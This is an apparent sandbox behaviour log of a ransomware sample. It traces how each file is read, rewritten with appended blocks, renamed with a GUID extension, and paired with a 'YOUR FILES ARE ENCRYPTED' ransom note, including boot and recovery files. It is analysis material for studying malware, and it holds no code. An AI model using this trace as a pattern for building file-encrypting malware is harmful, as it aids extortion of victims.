File	Move	source_filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, destination_filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 42194, size_out = 42194	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 42229	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4, destination_filename = C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 71935, size_out = 71935	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 71973	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3, destination_filename = C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 66346, size_out = 66346	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 66373	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a, destination_filename = C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 57879, size_out = 57879	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 57909	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3, destination_filename = C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 83732, size_out = 83732	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 83765	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods, destination_filename = C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 5542, size_out = 5542	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 5573	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png, destination_filename = C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn

Thread 0xdb4

5857

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\$WINRE_BACKUP_PARTITION.MARKER, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Create	filename = C:\bootmgr, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = System Paging File, size = 5, size_out = 0	1	Fn
File	Write	filename = System Paging File, size = 1	1	Fn
File	Create	filename = C:\bootmgr, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Create	filename = C:\BOOTNXT, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\BOOTNXT, size = 1	1	Fn Data
File	Create	filename = C:\BOOTNXT, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\BOOTNXT, size = 1, size_out = 1	1	Fn Data
File	Write	filename = C:\BOOTNXT, size = 37	1	Fn Data
File	Write	filename = C:\BOOTNXT, size = 1	1	Fn Data
File	Write	filename = C:\BOOTNXT, size = 4	1	Fn Data
File	Write	filename = C:\BOOTNXT, size = 188	1	Fn Data
File	Write	filename = C:\BOOTNXT, size = 4	1	Fn Data
File	Write	filename = C:\BOOTNXT, size = 1268	1	Fn Data
File	Write	filename = C:\BOOTNXT, size = 4	1	Fn Data
File	Move	source_filename = C:\BOOTNXT, destination_filename = C:\BOOTNXT.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 1	1	Fn Data
File	Create	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 156, size_out = 156	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 181	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 1	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 4	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 188	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 4	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 1268	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, size = 4	1	Fn Data
File	Move	source_filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, destination_filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\$GetCurrent\SafeOS\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\$GetCurrent\SafeOS\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\DHtmlHeader.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\DHtmlHeader.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 16118, size_out = 16118	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 16149	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\DHtmlHeader.html, destination_filename = C:\588bce7c90097ed212\DHtmlHeader.html.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\DisplayIcon.ico, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\DisplayIcon.ico, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 88533, size_out = 88533	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 88565	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DisplayIcon.ico, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\DisplayIcon.ico, destination_filename = C:\588bce7c90097ed212\DisplayIcon.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\header.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\header.bmp, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\header.bmp, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\header.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\header.bmp, size = 3628, size_out = 3628	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\header.bmp, size = 3653	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\header.bmp, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\header.bmp, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\header.bmp, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\header.bmp, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\header.bmp, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\header.bmp, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\header.bmp, destination_filename = C:\588bce7c90097ed212\header.bmp.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\netfx_Core.mzz, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Core.mzz, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Core.mzz, destination_filename = C:\588bce7c90097ed212\netfx_Core.mzz.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, destination_filename = C:\588bce7c90097ed212\netfx_Core_x64.msi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, destination_filename = C:\588bce7c90097ed212\netfx_Core_x86.msi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Extended.mzz, destination_filename = C:\588bce7c90097ed212\netfx_Extended.mzz.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, destination_filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
